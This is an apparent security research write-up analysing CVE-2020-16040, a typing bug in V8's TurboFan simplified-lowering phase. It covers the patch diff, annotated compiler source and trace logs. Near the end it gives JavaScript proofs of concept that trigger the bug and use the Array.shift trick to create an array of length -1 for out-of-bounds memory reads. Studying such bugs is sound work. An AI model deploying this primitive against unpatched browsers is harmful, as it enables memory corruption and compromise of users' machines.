Chrome-V8-CVE-2020-16040

env:
PATCH_FLAG: true
COMMIT: 1a37d561b2b51c23cd33bdcf4fc1670c404dcb8f
DEPOT_UPLOAD: false
SRC_UPLOAD: true
BINARY_UPLOAD: false

diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index a1f10f9..ef56d56 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -1409,7 +1409,6 @@
IsSomePositiveOrderedNumber(input1_type)
? CheckForMinusZeroMode::kDontCheckForMinusZero
: CheckForMinusZeroMode::kCheckForMinusZero;
-
NodeProperties::ChangeOp(node, simplified()->CheckedInt32Mul(mz_mode));
}

@@ -1453,6 +1452,13 @@

Type left_feedback_type = TypeOf(node->InputAt(0));
Type right_feedback_type = TypeOf(node->InputAt(1));
+
+ // Using Signed32 as restriction type amounts to promising there won't be
+ // signed overflow. This is incompatible with relying on a Word32
+ // truncation in order to skip the overflow check.
+ Type const restriction =
+ truncation.IsUsedAsWord32() ? Type::Any() : Type::Signed32();
+
// Handle the case when no int32 checks on inputs are necessary (but
// an overflow check is needed on the output). Note that we do not
// have to do any check if at most one side can be minus zero. For
@@ -1466,7 +1472,7 @@
right_upper.Is(Type::Signed32OrMinusZero()) &&
(left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) {
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
- MachineRepresentation::kWord32, Type::Signed32());
+ MachineRepresentation::kWord32, restriction);
} else {
// If the output's truncation is identify-zeros, we can pass it
// along. Moreover, if the operation is addition and we know the
@@ -1486,8 +1492,9 @@
UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(),
kIdentifyZeros);
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
- Type::Signed32());
+ restriction);
}
+
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,

//Simplified-lowering.cc:693
void Run(SimplifiedLowering* lowering) {
GenerateTraversal();
RunPropagatePhase(); //【1】
RunRetypePhase(); //【2】
RunLowerPhase(lowering); //【3】
}

// Representation selection and lowering of {Simplified} operators to machine
// operators are interwined. We use a fixpoint calculation to compute both the
// output representation and the best possible lowering for {Simplified} nodes.
// Representation change insertion ensures that all values are in the correct
// machine representation after this phase, as dictated by the machine
// operators themselves.
enum Phase {
// 1.) PROPAGATE: Traverse the graph from the end, pushing usage information
// backwards from uses to definitions, around cycles in phis, according
// to local rules for each operator.
// During this phase, the usage information for a node determines the best
// possible lowering for each operator so far, and that in turn determines
// the output representation.
// Therefore, to be correct, this phase must iterate to a fixpoint before
// the next phase can begin.
PROPAGATE,

// 2.) RETYPE: Propagate types from type feedback forwards.
RETYPE,

// 3.) LOWER: perform lowering for all {Simplified} nodes by replacing some
// operators for some nodes, expanding some nodes to multiple nodes, or
// removing some (redundant) nodes.
// During this phase, use the {RepresentationChanger} to insert
// representation changes between uses that demand a particular
// representation and nodes that produce a different representation.
LOWER
};

function foo(a) {
var y = 0x7fffffff; // 2^31 - 1

// Widen the static type of y (this condition never holds).
if (a == NaN) y = NaN;

// The next condition holds only in the warmup run. It leads to Smi
// (SignedSmall) feedback being collected for the addition below.
if (a) y = -1;

const z = (y + 1)|0;
return z < 0;
}

%PrepareFunctionForOptimization(foo);
print(foo(true)); //true
%OptimizeFunctionOnNextCall(foo);
print(foo(false)); //if print false, bug exist

--{Propagate phase}--
visit #48: End (trunc: no-value-use)
initial #47: no-value-use
visit #47: Return (trunc: no-value-use)
initial #44: truncate-to-word32
initial #55: no-truncation (but distinguish zeros)
initial #45: no-value-use
initial #36: no-value-use
[ .... ]
--{Retype phase}--
visit #44: NumberConstant
==> output kRepTaggedSigned
visit #14: NumberConstant
==> output kRepTagged
visit #52: NumberConstant
==> output kRepTagged
visit #0: Start
==> output kRepTagged
[ .... ]
--{Lower phase}--
visit #44: NumberConstant
defer replacement #44:NumberConstant with #58:Int64Constant
visit #14: NumberConstant
visit #52: NumberConstant
visit #0: Start
[ .... ]

//simplified-lowering.cc:611
void RunPropagatePhase() {
TRACE("--{Propagate phase}--\n");
ResetNodeInfoState(); //Clean up for the next phase.
DCHECK(revisit_queue_.empty());

// Process nodes in reverse post order, with End as the root.
for (auto it = traversal_nodes_.crbegin(); it != traversal_nodes_.crend();
++it) {
PropagateTruncation(*it); //调用

while (!revisit_queue_.empty()) { //revisit不为空
Node* node = revisit_queue_.front(); //取出队首
revisit_queue_.pop(); //pop掉
PropagateTruncation(node); //对其再调用一次
}
}
}
===================================================================
// Visits the node and marks it as visited. Inside of VisitNode, we might
// change the truncation of one of our inputs (see EnqueueInput<PROPAGATE> for
// this). If we change the truncation of an already visited node, we will add
// it to the revisit queue.
void PropagateTruncation(Node* node) {
NodeInfo* info = GetInfo(node);
info->set_visited();
TRACE(" visit #%d: %s (trunc: %s)\n", node->id(), node->op()->mnemonic(),
info->truncation().description());
VisitNode<PROPAGATE>(node, info->truncation(), nullptr); //对其visit一下，不同阶段不同实现
}

//PropagateTruncation()->Visitnode()->VisitSpeculativeIntegerAdditiveOp()
template <Phase T>
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
Type left_upper = GetUpperBound(node->InputAt(0));
Type right_upper = GetUpperBound(node->InputAt(1));
[ .... ]
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32, Type::Signed32());//设为Signed32
[ .... ]
===========================================================
// Helper for binops of the R x L -> O variety.
template <Phase T>
void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use,
MachineRepresentation output,
Type restriction_type = Type::Any()) {
DCHECK_EQ(2, node->op()->ValueInputCount());
ProcessInput<T>(node, 0, left_use);
ProcessInput<T>(node, 1, right_use);
for (int i = 2; i < node->InputCount(); i++) {
EnqueueInput<T>(node, i); //这里
}
SetOutput<T>(node, output, restriction_type); //这里
}

bool AddUse(UseInfo info) {
Truncation old_truncation = truncation_;
truncation_ = Truncation::Generalize(truncation_, info.truncation());
return truncation_ != old_truncation;
}
======================================================
static Truncation Generalize(Truncation t1, Truncation t2) {
return Truncation(
Generalize(t1.kind(), t2.kind()),
GeneralizeIdentifyZeros(t1.identify_zeros(), t2.identify_zeros()));
}

visit #55: NumberLessThan (trunc: no-truncation (but distinguish zeros))
initial #45: truncate-to-word32
initial #44: truncate-to-word32
[ .... ]
visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)
initial #39: no-truncation (but identify zeros)
initial #42: no-truncation (but identify zeros)
initial #22: no-value-use
initial #36: no-value-use

// Forward propagation of types from type feedback to a fixpoint.
void RunRetypePhase() {
TRACE("--{Retype phase}--\n");
ResetNodeInfoState();
DCHECK(revisit_queue_.empty());

for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend();
++it) {
Node* node = *it;
// Tries to update the feedback type of the node
// Returns true if updating the feedback type is successful.
if (!RetypeNode(node)) continue;

auto revisit_it = might_need_revisit_.find(node);
if (revisit_it == might_need_revisit_.end()) continue;

for (Node* const user : revisit_it->second) {
PushNodeToRevisitIfVisited(user);
}

// Process the revisit queue.
while (!revisit_queue_.empty()) {
Node* revisit_node = revisit_queue_.front();
revisit_queue_.pop();
if (!RetypeNode(revisit_node)) continue;
// Here we need to check all uses since we can't easily know which
// nodes will need to be revisited due to having an input which was
// a revisited node.
for (Node* const user : revisit_node->uses()) {
PushNodeToRevisitIfVisited(user);
}
}
}
}
==================================================
bool RetypeNode(Node* node) {
NodeInfo* info = GetInfo(node);
info->set_visited();
bool updated = UpdateFeedbackType(node); //这里
TRACE(" visit #%d: %s\n", node->id(), node->op()->mnemonic());
VisitNode<RETYPE>(node, info->truncation(), nullptr);
TRACE(" ==> output %s\n", MachineReprToString(info->representation()));
return updated;
}
=======================================================
bool UpdateFeedbackType(Node* node) {
if (node->op()->ValueOutputCount() == 0) return false;

// For any non-phi node just wait until we get all inputs typed. We only
// allow untyped inputs for phi nodes because phis are the only places
// where cycles need to be broken.
if (node->opcode() != IrOpcode::kPhi) {
for (int i = 0; i < node->op()->ValueInputCount(); i++) {
if (GetInfo(node->InputAt(i))->feedback_type().IsInvalid()) {
return false;
}
}
}

NodeInfo* info = GetInfo(node);
Type type = info->feedback_type();
Type new_type = NodeProperties::GetType(node);

// We preload these values here to avoid increasing the binary size too
// much, which happens if we inline the calls into the macros below.
Type input0_type; //对左右值输入节点调用FeedbackTypeOf
if (node->InputCount() > 0) input0_type = FeedbackTypeOf(node->InputAt(0));
Type input1_type;
if (node->InputCount() > 1) input1_type = FeedbackTypeOf(node->InputAt(1));
[ .... ]

#define DECLARE_CASE(Name) \
case IrOpcode::k##Name: { \
new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), \
info->restriction_type(), graph_zone()); \
break; \
}
SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)
SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
[ .... ]
====================================================================
Type FeedbackTypeOf(Node* node) { //判断是否有feedback字段被设置，有就用新的，没有用原本的
Type type = GetInfo(node)->feedback_type();
return type.IsInvalid() ? Type::None() : type;
}

// Lowering and change insertion phase.
void RunLowerPhase(SimplifiedLowering* lowering) {
TRACE("--{Lower phase}--\n");
for (auto it = traversal_nodes_.cbegin(); it != traversal_nodes_.cend();
++it) {
Node* node = *it;
NodeInfo* info = GetInfo(node);
TRACE(" visit #%d: %s\n", node->id(), node->op()->mnemonic());
// Reuse {VisitNode()} so the representation rules are in one place.
SourcePositionTable::Scope scope(
source_positions_, source_positions_->GetSourcePosition(node));
NodeOriginTable::Scope origin_scope(node_origins_, "simplified lowering",
node);
VisitNode<LOWER>(node, info->truncation(), lowering);
}

// Perform the final replacements.
for (NodeVector::iterator i = replacements_.begin();
i != replacements_.end(); ++i) {
Node* node = *i;
Node* replacement = *(++i);
node->ReplaceUses(replacement);
node->Kill();
// We also need to replace the node in the rest of the vector.
for (NodeVector::iterator j = i + 1; j != replacements_.end(); ++j) {
++j;
if (*j == node) *j = replacement;
}
}
}

//src/complier/simplified-lowering.cc:1991
case IrOpcode::kNumberLessThan:
case IrOpcode::kNumberLessThanOrEqual: {
Type const lhs_type = TypeOf(node->InputAt(0));
Type const rhs_type = TypeOf(node->InputAt(1));
// Regular number comparisons in JavaScript generally identify zeros,
// so we always pass kIdentifyZeros for the inputs, and in addition
// we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.
if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &&
rhs_type.Is(Type::Unsigned32OrMinusZero())) {
// => unsigned Int32Cmp //这里！！！
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kBit);
if (lower<T>()) NodeProperties::ChangeOp(node, Uint32Op(node));
[ ... ]

function foo() {
// Type info of `len`:
// Real => 1
// Turbo => Range(-1, 0)
let arr = new Array(len);
arr.shift();
}

let arr = JSConstruct("Array");
JSCall(arr, "Shift");

let arr = JSCreateArray(len);
/* JSCallReducer::ReduceArrayPrototypeShift */
let length = LoadField(arr, kLengthOffset);
if (length == 0) {
return;
} else {
if (length <= 100) {
DoShiftElementsArray(); // Don't care
/* Update length field */
let newLen = length - 1;
StoreField(arr, kLengthOffset, newLen);
} else /* length > 100 */ {
CallRuntime(ArrayShift);
}
}

// JSCreateLowering::ReduceJSCreateArray
// JSCreateLowering::ReduceNewArray
let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
// len : Range(-1, 0), real: 1
let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1
let arr = Allocate(kArraySize);
StoreField(arr, k[Map|Prop|Elem]Offset, ...);
StoreField(arr, kLengthOffset, checkedLen);

let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
// len : Range(-1, 0), real: 1
let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1
let arr = Allocate(kArraySize);
StoreField(arr, kMapOffset, map);
StoreField(arr, kPropertyOffset, property);
StoreField(arr, kElementOffset, element);
StoreField(arr, kLengthOffset, checkedLen);

let length = checkedLen;
// length: Range(0, 0), real: 1
if (length != 0) {
if (length <= 100) {
DoShiftElementsArray();
/* Update length field */
StoreField(arr, kLengthOffset, -1); //将-1写入length
}
else /* length > 100 */
{
CallRuntime(ArrayShift);
}
}

function foo(a) {
var y = 0x7fffffff;
if (a == NaN) y = NaN;
if (a) y = -1;
let z = (y + 1) + 0;
//Math.sign() 函数返回一个数字的符号, 指示数字是正数，负数还是零
//此函数共有5种返回值, 分别是 1, -1, 0, -0, NaN. 代表的各是正数, 负数, 正零, 负零, NaN
let l = 0 - Math.sign(z); //turbofan认为z是正数，实际为负数，固满足该trick的利用条件
let arr = new Array(l);
arr.shift();
return arr;
}
%PrepareFunctionForOptimization(foo);
foo(true);
%OptimizeFunctionOnNextCall(foo);
// print(foo(false).length);
var oob_arr = foo(false);
print('oob_arr.length: '+oob_arr.length);

var aaa = Array(0x200);

print('oob_arr[15]: '+oob_arr[15]);